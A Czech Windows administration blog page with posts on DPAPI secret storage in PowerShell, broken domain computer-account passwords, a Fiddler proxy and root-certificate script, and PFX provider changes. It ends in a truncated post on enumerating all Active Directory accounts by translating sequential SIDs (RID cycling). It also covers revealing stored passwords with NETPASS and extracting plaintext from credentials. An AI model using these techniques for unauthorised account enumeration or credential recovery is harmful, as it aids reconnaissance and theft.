Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > default
srpen 06
Ukládání tajných informací a hesel pro skripty a naplánované úlohy

To je věčná otázka. Máte skript, nebo naplánovanou úlohu, nebo třeba dokonce službu, a potřebujete, aby měla k dispozici nějakou tajnou informaci, jako je třeba heslo k nějakému účtu, nebo šifrovací klíč k datům v databázi. Jak ho na počítači "bezpečně" uložíte?

Internet se hemží různými návody, jak uložit například PSCredentials do XML, nebo používat jakýsi cizí Get-PnPStoredCredential a ukládat hesla do takového toho zabudovaného trezoru na hesla.

To jsou všechno zbytečné obezličky. Já používám rovnou to nejjednodušší, přímo DPAPI, nad kterým jsou všechny ty ostatní metody stejně postaveny, a které je používáno libovolnými systémovými službami i aplikacemi. DPAPI je už minimálně od Windows 2000 zabudováno do systému a .NET Framework má pro něho už od verze 2.0 (a PowerShell 2.0 tedy také) statickou metodu, takže pohoda.

Jednoduché vysvětlení DPAPI

Detaily si můžete poslechnout na letošním hackerfest od Michaela Grafnettera. Mě zajímá princip. DPAPI (Data Protection API) vám jednoduše zašifruje cokoliv si řeknete svým náhodným klíčem. Každý počítač má svůj náhodný klíč per-machine. Tento klíč je uložen v systémových registrech počítače, nebo v systémovém profilu na disku (%windir%\system32\config\systemprofile) - Grafi bude vědět přesněji - je prostě na disku.

Každý uživatel má ve svém profilu (nejspíš opět v jeho registrech) také svůj náhodný profilový klíč, tedy per-user-profile. Schválně píšu per-user-profile, protože bez cestovního profilu máte na každém počítači jiný klíč, zatímco s profilem cestovním (roaming profile) máte všude klíč stejný. Také je důležité, že se jedná o profil, protože například IIS pracovní procesy (app pool) se ve výchozím stavu startují bez profilu a pokud u nich chcete DPAPI využívat, musíte jim profil zapnout ve vlastnostech apppool (processModel.loadUserProfile).

V uživatelském profilu je tento šifrovací náhodný klíč chráněn ještě navíc uživatelovým přihlašovacím heslem a paralelně AD záchraným klíčem. Je to tedy imunní proti offline krádeži profilu a díky AD klíči i proti resetu hesla správcem v AD. Lokální účty naopak nejsou imunní proti reset hesla správcem. Opět Grafi bude vědět detaily, předpokládám.

DPAPI umí použít buď tento per-machine, nebe per-user-profile náhodný klíč k tomu, aby vám zašifrovalo nějaká data. Pokud si to necháte zašifrovat per-machine, na daném počítači si to dešifruje úplně kdokoliv, nemusí být ani členem skupiny Administrators (příkladem je například SharePoint passphrase, jak už jsem tu o ní dávno psal). Pokud se k OS disku někdo dostane offline, také to dešifruje.

Pokud použijete klíč per-user-profile, tak to dešifruje pouze stejný uživatel na stejném počítači pokud nemá cestovní profil (roaming profile). Pokud cestovní profil má, tak na libovolném jiném počítači také.

Jak to použít z PowerShellu? Nejprve jeho obvyklé typy a práce s nimi

Člověk sbírá tajné údaje z hvězdiček jako SecureString:

$tajemstvi = Read-Host 'Zadej heslo nebo jine tajemstvi' -AsSecureString
$tajemstvi.GetType().FullName   # System.Security.SecureString

Nebo si to zkonvertuje z plaintextu:

$tajemstvi = ConvertTo-SecureString 'tajemstvi co je tajne' -AsPlainText -Force
$tajemstvi.GetType().FullName   # System.Security.SecureString

Nebo se zeptá rovnou na PSCredential:

$loginHeslo = Get-Credential -UserName 'gps\kamil' -Message 'Zadej heslo chlapku'
$loginHeslo.GetType().FullName   # System.Management.Automation.PSCredential

PSCredential lze rovnou založit přímo z plaintextu:

$loginHeslo = New-Object System.Management.Automation.PSCredential 'gps\kamil', (ConvertTo-SecureString 'Pa$$w0rd' -AsPlainText -Force)
$loginHeslo.GetType().FullName   # System.Management.Automation.PSCredential
$loginHeslo.UserName             # string
$loginHeslo.Password             # System.Security.SecureString

Poznámka. Už tady se používá DPAPI, sice jen paměťové, ale hodnota System.Security.SecureString je uložena v paměti opět v zašifrované formě (per-machine), aby to nešlo jenom tak prohlížet.

Ale bez problémů heslo dostanete ven i v čisté formě plaintextu:

$loginHeslo.GetNetworkCredential().Password   # Pa$$w0rd

Takže práce s tajnými údaji v PowerShellu by byla. Jak to uložit na disk, nebo do registrů, nebo do databáze?

Jak si nechat zašifrovat data pomocí DPAPI?

Jednoduše. Použijeme třídu System.Security.Cryptography.ProtectedData. Žádný klíč ani heslo nepotřebujete. Všechno je v počítači nebo ve vašem profilu samo od sebe. Jediné co ještě můžete přidat, když moooc chcete, je sůl (salt), neboli inicializační vektor (IV). Akorát tím zajistíte, že dvě stejné hodnoty by nemusely být zašifrovány stejným klíčem stejně (ale ony stejně nebudou, protože DPAPI samo vždycky zasolí nějakým náhodným číslem). Spíše tím zkomplikujete kreking, řekněme. Osobně necítím potřebu, vždycky je tam systémová sůl.

$tajnyText = 'Tohle je megasuper tajne'
$bajty = [System.Text.Encoding]::Unicode.GetBytes($tajnyText)

# per-user-profile
$zasifrovaneBajty = [System.Security.Cryptography.ProtectedData]::Protect($bajty, $null, 'CurrentUser')
[Convert]::ToBase64String($zasifrovaneBajty)

# per-machine
$zasifrovaneBajty = [System.Security.Cryptography.ProtectedData]::Protect($bajty, $null, 'LocalMachine')
[Convert]::ToBase64String($zasifrovaneBajty)

Dobrá, slanější je vždycky chutnější:

$tajnyText = 'Tohle je megasuper tajne'
$sul = 'Hlavne to Jiriku nepresol'
$bajty = [System.Text.Encoding]::Unicode.GetBytes($tajnyText)
$iv = [System.Text.Encoding]::Unicode.GetBytes($sul)

# per-user-profile
$zasifrovaneBajty = [System.Security.Cryptography.ProtectedData]::Protect($bajty, $iv, 'CurrentUser')
$tohleSeDaUlozit = [Convert]::ToBase64String($zasifrovaneBajty)
$tohleSeDaUlozit    # proste pekny ulozitelny text ve formatu Base64

# per-machine
$zasifrovaneBajty = [System.Security.Cryptography.ProtectedData]::Protect($bajty, $iv, 'LocalMachine')
$tohleSeDaUlozit = [Convert]::ToBase64String($zasifrovaneBajty)
$tohleSeDaUlozit    # proste pekny ulozitelny text ve formatu Base64

Předpokládám, že uložit to Base64 zašifrované monstrum už zvládnete sami, ne?

Dešifrování DPAPI chráněných Base64 řetězců

Co jste si před chvilkou uložili ve formě Base64 zašifrovaného textu, si načtete a podle chuti přidáte původní inicializační vektor (IV):

$sul = 'Hlavne to Jiriku nepresol'
$iv = [System.Text.Encoding]::Unicode.GetBytes($sul)

# per-user-profile
$desifrovaneBajty = [System.Security.Cryptography.ProtectedData]::Unprotect(([Convert]::FromBase64String($tohleSeDaUlozit)), $iv, 'CurrentUser')
[System.Text.Encoding]::Unicode.GetString($desifrovaneBajty)

# per-machine
$desifrovaneBajty = [System.Security.Cryptography.ProtectedData]::Unprotect(([Convert]::FromBase64String($tohleSeDaUlozit)), $iv, 'LocalMachine')
[System.Text.Encoding]::Unicode.GetString($desifrovaneBajty)

A jak by řekl Babica, když nemáte inicializační vektor, dáte tam něco jinýho. Akorát dejte bacha, aby vám z toho nevyšla nějaká ta jeho dobrota.

červenec 24
Vypadávání počítačů (a DC) z domény

Zrovna včera jsem řešil problém s počítačem, jehož účet do domény se nějak "poškodil" a on přestal s doménou komunikovat. Jedná se vcelku běžný problém, který si každý nejspíš několikrát zažil. Včera to bylo ještě trošku speciálnější, protože šlo o řadič té domény (DC - domain controller). Projevilo se to tak, že jeho služby běžící pod účtem SYSTEM a Network Service prostě nedokázaly komunikovat s jeho vlastním, lokálně běžícím, Active Directory. Například nenabíhal DNS server a hlásil, že se nemůže dostat do domény, i když Active Directory normálně běžela.

O účtech počítačů jsem tu už psal, takže to se rozepisovat nebudu kromě malého připomenutí a shrnutí. Ale chtěl bych vysvětlit, proč a kdy se tyto chyby občas dějí, a že to není vlastně nic divného.

Fakta o účtu počítače

Počítače mají svoje heslo v registrech ve formě LSA secret v klíči MACHINE$.ACC. Tam je v plné formě. Toto heslo se uloží na účet počítače v Active Directory při připojení počítače do domény a poté si ho počítače každých 30 dnů samy mění. V Active Directory je heslo uloženo normálně ve formě hash, stejně jako všechno ostatní hesla.

Po změně má v registrech počítač svoje aktuální heslo a pro hladkost běhu ještě i heslo předchozí, aby ještě dokázal přijímat dříve vydané Kerberos TGS tickety svých klientů (pokud je to server pro nějaké klienty). Sám používá hned a pouze jen to nové heslo při komunikaci s DC - AD replikační prodlevy tu nehrají roli, protože máte PDC, a tudíž se to chová stejně jako v případě normálních uživatelských účtů.

Hesla počítačových účtů nikdy nevyprší. To znamená, že počítače si hesla mění samy dobrovolně. Pokud si heslo z nějakého důvodu počítač nezmění, prostě používá i nadále to původní. Například není problém, abyste měli stroj třeba rok vypnutý, po startu se s doménou spojí v pořádku. I když bude počítač několik měsíců mimo vnitřní síť (bez VPN), tak se zase nic neděje, i když celou dobu jede. V průběhu své nepřítomnosti se pokouší heslo změnit, nemůže kontaktovat AD, tak si ho samozřejmě nezmění.

Heslo počítače používají služby běžící pod účtem SYSTEM, Network Service, IIS APPPOOL a NT SERVICE pro přístup do sítě. Pokud by se heslo nějak poškodilo, tak nebude počítači fungovat například:

  • dynamická aktualizace vlastních DNS A záznamů v DNS, pokud to obvykle vyžaduje secure dynamic update
  • vydávání certifikátů počítače z AD CS
  • aktualizace zásad skupin (group policy) počítačového účtu. Zatímco uživatelské zásady se dříve stahovaly pod účtem uživatele, dnes už se nebudou stahovat ani ty
  • lokální interaktivní přihlašování (ctrl-alt-del) uživatelů, kteří nejsou nakešovaní. Účty uživatelů, které jsou na počítači nakešované od předchozích přihlášení se normálně přihlásí a dokonce se mohou pohybovat po síti, protože jejich účet je v pořádku. Lidé to sami moc tedy nepoznají, takže to bývá mnohdy dost dlouho neviditelné
  • ze sítě se na počítač s ověřením nedostanete a je jedno, jestli to je Kerberos, nebo NTLM
  • tím pádem nelze na počítač nic vzdáleně instalovat, ani se k němu nepřipojí žádný manadžovací server typu SCCM, SCOM, antivirový server apod.
  • na počítač se nedostanete ani přes RDP, protože NLA vás dál nepustí (to je to stejné, jako že se tam nedá dostat ze sítě na sdílené adresáře ani do WMI, PS Remoting apod.)

Obvyklé chybové hlášky při pokaženém hesle jsou:

Trust relationship between this workstation and primary domain failed

Target principal name is incorrect

Event ID: 5722
Source: NETLOGON
Event Type: Error
The session setup from the computer ComputerName failed to authenticate. The name of the account referenced in the security database is Computer$.

Oprava hesla se provede odpojením a opětovným připojením počítače do domény, nebo pomocí NETDOM RESETPWD, nebo pomocí Reset-ComputerMachinePassword. Samozřejmě pouze lokálně, protože vzdáleně se na mašinu nedostanete.

Proč se to proboha děje?

A dostáváme se konečně k jádru článku :-) Jak se to stane? Jak se to staně i DC samotnému? Jednoduše. Změna hesla není transakčně bezpečná.

Uvědomte si, o co se jedná při změně hesla počítače. Jde o distribuovanou transakci mezi dvěma mašinami. Vstupuje do toho počítač a DC. Počítač si vytvoří TCP spojení na DC a uvnitř nechá provést změnu hesla (ověří se, provede změnu buď přes SMB, DCOM nebo Kerberos). DC provede kontrolu kvality hesla a případně ho pomocí nějakého password filteru odešle do dalších připojených systémů. Následně si DC vypočítá jeho hash a tuto si uloží do Active Directory.

Když je heslo uloženo v AD, tak se po tom stejném TCP spojení pošle klientovi informace, že všechno je ok. Až tuto informaci klient dostane, uloží si nové heslo do registrů a původní heslo si pošoupne v registrech do zálohy. A je hotovo.

Jenže co se stane, když třeba:

  • data na disk se z Active Directory zapisují asynchronně, takže pokud DC zrovna klekne/zdechne/spadne/vypadne elektřina, tak se nové heslo do AD ve skutečnosti neuloží. Po příštím náběhu je v AD stále ještě heslo staré, zatímco stanice už chce používat jen to novější. V tomto případě se třeba i nadále dá na stanici dostat ze sítě, zatímco stanice si už nedokáže stahovat sama politiku.
  • co když upadne TCP spojení zrovna v okamžiku, kdy si AD uložilo heslo u sebe? V ADčku je heslo nové, stanice ale nedostala potvrzení o změně. Stanice tedy nové heslo u sebe neuloží a bude používat i nadále heslo starší. Což už použít nejde, protože AD má heslo novější, které ovšem stanice nezná. A šmitec.
  • stejně tak registry na stanici, ty se také zapisují na disk asynchronně. Takže pokud hned po změně dojde k výpadku proudu na počítači, tak se registry neuloží a opět stanice nové heslo nezná, zatímco na DC je přepsané.

A tak bych nmohl pokračovat. Nicméně síťové výpadky jsou nejspíš ten nejčastější důvod. Uvědomte si, jak často lidé přechází s notebookem z kabelu na wifi a na jinou wifi, a která také často padá. Síťová zařízení jsou občas přetížena atd.

Je to jen občas, ale ochrana proti tomu není žádná. Samozřejmě by mohl Microsoft vyvinout nějaký robustní transakční systémy, kdy se jak na AD, tak na počítačích tyto změny dokázaly roll-backnout v případě výpadků, ale to je tak složité a přitom neúspěch tak málo pravděpodobný, že to prostě řešit nechtěli.

Jednoduše si heslo resetnete, když se to projeví a hotovo.

Zajímavé je samozřejmě, že se to děje i na DC samotných. DC má také svůj účet, heslo v registrech a heslo v AD. Sice oboje na jedné mašině lokálně, ale procedura je stejná. I lokálně můžete mít výpadky proudu, pády služeb, nebo výpadek síťového spojení (zakvedlejte kabelem, nebo vypněte switch, uvidíte).

Snapshot, imidž, checkpoint

Prosím vás, i tohle je jeden z důvodů, proč nepoužívat virtualizační snapshoty, checkpointy, nebo diskové image, a jak je to nejisté. Možná vám virtualizace nabízí různé ochrany typu GenerationID, ale pokud vrátíte staré heslo, tak není cesta, jak to "samo"opravit a musíte stejně zasáhnout ručně.

červen 20
Skupiny na španělském serveru

Tak u nás aspoň překladatelé nekouří při práci a i když překládají jména systémových služeb​, tak aspoň nesahají na jména skupin. To už je moc, řekl bych:



květen 15
TechEd 2018 - řešení nedostatků z přednášky o účtech pro služby

Tak jsem to dořešil, trvalo to cca 5 minut. Sakra, to se tak na přednáškách stává :-)

​a) nejprve mi nešel NIRSOFT nástroj NETPASS, který mi měl zobrazit hesla naplánovaných úloh. Nojo, jenže já jsem spouštěl omylem 32bitovou verzi. NETPASS64 funguje v pohodě.

b) nemohl jsem se také dostat do webové aplikace, kterou jsem přenastavil, aby běžela pod Group Managed Service accountem (gMSA). A přitom bylo vidět, že Kerberos už funguje a ticket mi to vydalo na klientovi v pořádku. Nojo, jenže ona ta aplikace původně běžela pod účtem IIS APPPOOL (ApplicationPoolIdentity) a zůstala jí zapnuta Kernel Mode autentizace. Když jsem ji vypnul, tak se to rozběhlo.

Jsem prostě jenom chaotik :-)

květen 15
TechEd 2018 - Slajdy ze všech přednášek

Jsou (nebo přesněji budou) k nalezení zde https://www.sevecek.com/presentations/teched2018

Postupně to aktualizuji, takže například do Fiddleru jsem přidal registrové klíče k vypnutí Extended Protection for Authentication (neboli Channel Binding) pro RD Gateway

květen 14
TechEd 2018 - Přednáška o Fiddleru

​Slajdy k přednášce o tom, jak jednoduše používat Fiddler k průzkumu HTTPS komunikací, bez ohledu na to, jestli to je prohlížeč, nebo GUI program, si můžete stáhnout zde.

Současně je zde zdrojový kód skriptu pro nastavení proxy (ať už to je Fiddler nebo něco jiného). Baťáček je zajímavé také tím, že si umí sám požádat o zvýšení UAC oprávnění (elevate - spustí se podruhé zvýšeně pomocí parametru -Verb runas):

fiddle.bat

@ECHO OFF

IF "%1" == "noElevate" GOTO NoElevate

powershell -NoLogo -ExecutionPolicy Bypass -Command "Start-Process %~d0%~p0%~n0.bat noElevate -Verb runas"
GOTO Exit

:NoElevate

powershell -NoLogo -ExecutionPolicy Bypass -File "%~d0%~p0%~n0.ps1"

:Exit

fiddle.ps1

[string] $fdl = (Read-Host 'Fiddler machine name (or [-] to reset proxy)').Trim()

if ($fdl -eq '') {

  $fdl = 'localhost'
}

if (($fdl -ne '-') -and ($fdl -ne '[-]')) {

  if ($fdl -notlike '*?:?*') {

    $fdl = '{0}:8888' -f $fdl
  }

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  # Note: for example, the "Bypass proxy for local addresses" would be specified as 
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride

  netsh winhttp set proxy $fdl | Out-Null

  $remoteFdl = $fdl.Split(':')[0]
  if (($remoteFdl -ne 'localhost') -and ($remoteFdl -ne '127.0.0.1')) {

    $remoteAdmin = (Read-Host 'Credentials to make Fiddler certificate trusted (or nothing to skip)').Trim()

    if (($remoteAdmin -ne '') -and ($remoteAdmin -ne '-')) {

      $remotePwd = (New-Object System.Management.Automation.PSCredential ('DummyLogin', (Read-Host 'Password' -AsSecureString))).GetNetworkCredential().Password

      [System.Management.ConnectionOptions] $wmiRegOptions = New-Object System.Management.ConnectionOptions
      $wmiRegOptions.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
      $wmiRegOptions.Username = $remoteAdmin
      $wmiRegOptions.Password = $remotePwd
      $wmiRegOptions.EnablePrivileges = $true
      [System.Management.ManagementScope] $wmiRegScope = New-Object System.Management.ManagementScope (('\\{0}\root\default' -f $remoteFdl), $wmiRegOptions)
      $wmiRegScope.Connect()
      [System.Management.ManagementClass] $wmiReg = New-Object System.Management.ManagementClass ($wmiRegScope, 'stdRegProv', $null)

      [System.Management.ManagementBaseObject] $wmiRes = $wmiReg.EnumKey(2147483650, 'Software\Microsoft\SystemCertificates\Root\Certificates')
      foreach ($oneThumbprint in ([string[]] $wmiRes.sNames)) {

        $wmiRes = $wmiReg.GetBinaryValue(2147483650, 'Software\Microsoft\SystemCertificates\Root\Certificates\{0}' -f $oneThumbprint, 'Blob')
        [Security.Cryptography.X509Certificates.X509Certificate2] $oneCert = New-Object Security.Cryptography.X509Certificates.X509Certificate2 @(, ([byte[]] $wmiRes.uValue))

        if ($oneCert.Subject -eq 'CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://www.fiddler2.com') {

          $rootStore = New-Object System.Security.Cryptography.X509Certificates.X509Store ('Root', 'LocalMachine')
          $rootStore.Open('MaxAllowed')
          $rootStore.Add($oneCert) 
          $rootStore.Close()
        }
      }       
    }
  }

} else {

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  netsh winhttp reset proxy | Out-Null
}

Write-Host ('')
Read-Host 'Press ENTER to exit'

 

květen 02
Žvejk

Rozhodl jsem se, že konečně vyřeším letitý problém termínu hash. Buď se to musí používat v prvním pádu, nebo se počeští a skloňuje, což je ještě horší. Bohužel čeština nezná (nebo možná jen já neznám) slovo pro to, co vznikne v ústech po rozkousání a proslinění sousta potravy před tím, než je to odesláno dolů hltanem, nebo vyplivnuto, pokud při zpracování narazíme na něco nechutného. Takže nově zavádím termín:

žvejk

Odpovídající slovesa zavádím:

sežvejknout, žvejkat

Záměrně jsem vybral nespisovnou formu (tedy až do tohoto okamžiku, kdy se to zespisovnilo), aby to bylo v technické dokumentaci jasně čitelné a rozeznatelné na první pohled.

Příklady užití

Dnes už prohlížeče vyžadují certifikáty číslicově podepsané za pomoci moderních žvejků jako je SHA256. Otisk certifikátu se ale stále provádí žvejkem SHA-1, který je k tomu účelu stále dostatečně bezpečný a přitom nabízí výbornou míru slučitelnosti.

Dokument se sežvejkne pomocí SHA256 a to se číslicově podepíše pomocí RSA.

Hesla se obvykle ukládají ve tvaru žvejků. Pokud získáte žvejk hesla, můžete ho zkusit prolomit hrubou silou pomocí různých 3D GPU žvejkaček, nebo zkusit nějakou duhovou tabulku.

duben 13
Co jsou osobní údaje a co musíme chránit

Ach jo. Lidi! Nejhorší je, že ani různí právníci a rádoby poradci prostě nětuší, co to jsou osobní údaje. Takže GDPR definice podle článku 4, odstavec 1:

„osobními údaji“ veškeré informace o identifikované nebo identifikovatelné fyzické osobě ...

Veškeré!

Osobním údajem je tedy také historie nákupů ve vašem e-shopu, detaily o vaší půjčce, informace o tom, že jste si v masně koupili dva párky, že vlastním kolo značky Merida staré 11 let, že můj synek se jmenuje Janek, že máte rádi pálivej stejk, co si stahujete za filmy a které novinové články jste si přečetli, i když jste je nelajkovali, že jste byli na služební cestě v Mnichově, fotka vaší boty i fakt, že pracujete ve firmě XY, značka SPZ vašeho rodinného vozu, hodnota faktury za plyn, teplou vodu a telefon, nebo faktura za novou koupelnu.

Ani jedno z toho předchozího není identifikující údaj. To sice znamená, že podle této informace vás asi nikdo přesně neidentifikuje, nejspíš ani podle kombinace těchto údajů. Ale jsou to pořád vaše osobní údaje a musí požívat dostatečnou ochranu.

Takže není potřeba chránit jenom emailovou adresu a telefonní číslo a fotky obličejů. Ano, to jsou ty identifikující údaje. Ale uvědomte si, že únik samotných identifikujících údajů sám o sobě není zrovna to riziko, kvůli kterému tady GDPR přichází a vůbec stávající ochrana osobních údajů dávno je.

To že unikne seznam emailových adres ohrožuje koho a jak? Jo mohl by vám chodit spam. Tý jo, tak to se třesu strachem. Naopak únik těch prvních neidentifikujících údajů, které je skrze nějaký identifikující (nebo jejich kombinaci) možné navázat na fyzickou osobu, je to skutečné riziko.

Tzn. pokud unikne seznam jmen plus hodnota faktury za stavbu nové koupelny, ohrožuje to fyzické osoby například tím, že se zloději domáknou těch bohatších a půjdou se k nim podívat. Sousedé vám budou závidět a pomlouvat vás, za co utrácíte. Ohrožuje to i ty chudší faktury, protože se jim budou ostatní posmívat, že mají sračkovou koupelnu. Pokud někdo vystaví na netu seznam jmen a SPZ, jasně vás budou někteří hejtovat pokud pojedete někde rychle, pomalu, nebo budete stát, nebo předjíždět, nebo naopak předjíždět nebudete.

Takže chránit je potřeba všechny informace o fyzických osobách, které jsou na tyto osoby nějak, jakkoliv, identifikovatelné.

Při hodnocení úniku je potom potřeba si uvědomit co skutečně uniklo. Ne jestli unikl seznam emailů, hesel a fotek. To jsou všechno jen identifikující údaje, které moc rizika nepředstavují (kromě případu, kdy na fotce máte obřího jebáka co se zrovna chystá prasknout, nebo se drbete na zadku hřebínkem pro panenky).

Aby to byl únik, není ani nutné, aby identifikovatelnost osob byla nějaká "širokopásmová". Stačí, že se někdo, kdo o někom jiném něco nevěděl, je schopen o něm něco dozvědět :-)

Takže si buďte jisti, že i reklamní bilboard Lidl s nabídkou "každá pokladní 25 000+" je tedy kurva zveřejnění osobních údajů! Jestli je kdokoliv schopen přijít do Lidla a vidí tam pokladní, nebo ví, že jeho sousedka je tam pokladní, tak se právě dozvěděl, že ta osoba vydělává 25+.

říjen 25
Nesmysly a skutečná rizika

Už mě začíná otravovat ta šou ohledně KRACKu. Určitě jste o tom taky slyšeli. Prostě jde dešifrovat WPA2. A co jako?

Ono se WiFi snad někdy považovalo samo o sobě za nějak bezpečné? Vždyť to byla vždycky jenom otázka alespoň trošku porovnatelné bezpečnosti s kabelovým ethernetem. Nic lepšího. O nic lepšího se nikdo ani nesnažil. Bylo snad od jakživa jasné, že bez VPN nebo TLS nebo IPSec se vevnitř neobejdete. Na bezpečnost WPA2 doufám nikdo nezávisí.

Takže co je KRACK? Je to prostě jenom pěkná vědecko-kryptologická chyba.

Je tu ale mnohem lepší chyba

https://crocs.fi.muni.cz/public/papers/rsa_ccs17

říjen 05
Změna CSP/KSP poskytovatele v existujícím PFX souboru

Když exportujete certifikát i s jeho soukromým klíčem (private key) tak vytváříte PFX soubor (neboli PKCS12 formát souboru, někdy také přípona P12). Problém na Windows je ten, že tento soubor obsahuje navíc jedno políčko (rozšíření, extension) s názvem kryptografického poskytovatele (cryptographic provider), který daný privátní klíč zrovna spravuje a v němž byl původně uložen.

Poskytovatel je buď tzv. starší CSP (cryptographic services provider), nebo tzv. novější CNG/KSP (cryptography next generation, key storage provider). Jaké všechny takové poskytovatele na počítači máte zjistíte jednoduše pomocí certutil -csplist. Z daného PFX souboru tuto informaci dostanete pomocí certutil -dump.

Soubor PFX je tím pádem na dále vázán na tohoto poskytovatele. Je možné, že na cílovém stroji takový poskytovatel neexistuje. Nebo aplikace, pro kterou certifikát instalujete, neumí právě toho původního použít, i když by byl na počítači k dispozici (viz. velká ne-podpora v mnoha moderních programech).

Název poskytovatele je v souboru uložen jen jako prostý text. Není k tomu nic vázáno, takže pokud je potřeba ho změnit, stačí nějak upravit jeho hodnotu. Samozřejmě by mohly být problémy s importem, pokud byste se snažili dostat do poskytovatele třeba delší privátní klíč, než by on sám uměl, ale to je málo pravděpodobné, běžné certifikáty umí většina z nich.

K úpravě potřebujete ale openssl, protože zabudovaný certutil to neumí. Openssl stáhnete někde na internetu. No a potom už jenom použijete PowerShell:

$pwd = 'Pa$$w0rd'
$openSsl = 'C:\OpenSSL-Win32\bin\openssl.exe'
$pfx = 'C:\ONDRA\pfx-with-wrong-csp-to-replace.pfx'

$newCSP = 'Microsoft Enhanced RSA and AES Cryptographic Provider'

$pem = [IO.Path]::ChangeExtension($pfx, '.pem')
$newPfx = [IO.Path]::ChangeExtension($pfx, '.newCSP.pfx')

Write-Host ('Original PFX file: {0}' -f $pfx) -Fore Green
certutil -dump -p $pwd $pfx

& $openssl pkcs12 -in $pfx -out $pem -passin "pass:$pwd" -passout "pass:$pwd"

& $openssl pkcs12 -export -in $pem -out $newPfx -CSP $newCSP -passin "pass:$pwd" -passout "pass:$pwd"

Write-Host ('New PFX file: {0}' -f $newPfx) -Fore Green
certutil -dump -p $pwd $newPfx
září 29
Seznam všech loginů z Active Directory

Někde to tady mám, ale nemůžu to najít a docela často to potřebuju, takže znovu :-)

Úkol zní - vylistovat všechny loginy z Active Directory (ADDS) za použití minimálních oprávnění a tak, aby to pokud možno šlo kdykoliv. A ono to jde. Bez ohledu na oprávnění, která máte na objektech a organizačních jednotkách v AD, tahle metoda funguje pod jakýmkoliv ověřeným účtem vždy. Protože nepoužívá LDAP připojení, ale nechává si pomocí SAM rozhraní překládat SIDy na loginy. Takže stačí libovolný účet, který je Authenticated Users.

Jak to funguje? Každý účet, účet počítače, nebo skupina má SID. Všechny SIDy v jedné doméně jsou stejné, kromě koncovky (RID). RIDy vznikají tak, že se pouze inkrementují pro každý nový účet. Stačí tedy nechat si přeložit všechny SIDy od 1 do 2 miliard :-) Samozřejmě skončíte jakmile cítíte, že tam už žádné další nebudou.

function global:Get-PrimaryDomainSID ()
{
  # Note: this script obtains SID of the primary AD domain for the local computer. It works both
  #       if the local computer is a domain member (DomainRole = 1 or DomainRole = 3)
  #       or if the local computer is a domain controller (DomainRole = 4 or DomainRole = 4).
  #       The code works even under local user account and does not require calling user
  #       to be domain account. This should also work on any AD domain regardless of language
  #       mutation because, hopefully, the krbtgt account has always the same name

  [string] $domainSID = $null

  [int] $domainRole = gwmi Win32_ComputerSystem | Select -Expand DomainRole
  [bool] $isDomainMember = ($domainRole -ne 0) -and ($domainRole -ne 2)

  if ($isDomainMember) {

    [string] $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
    [string] $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
    $domainSID = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
  }

  return $domainSID
}

$domainSID = Get-PrimaryDomainSID

(500..10000) | % { 

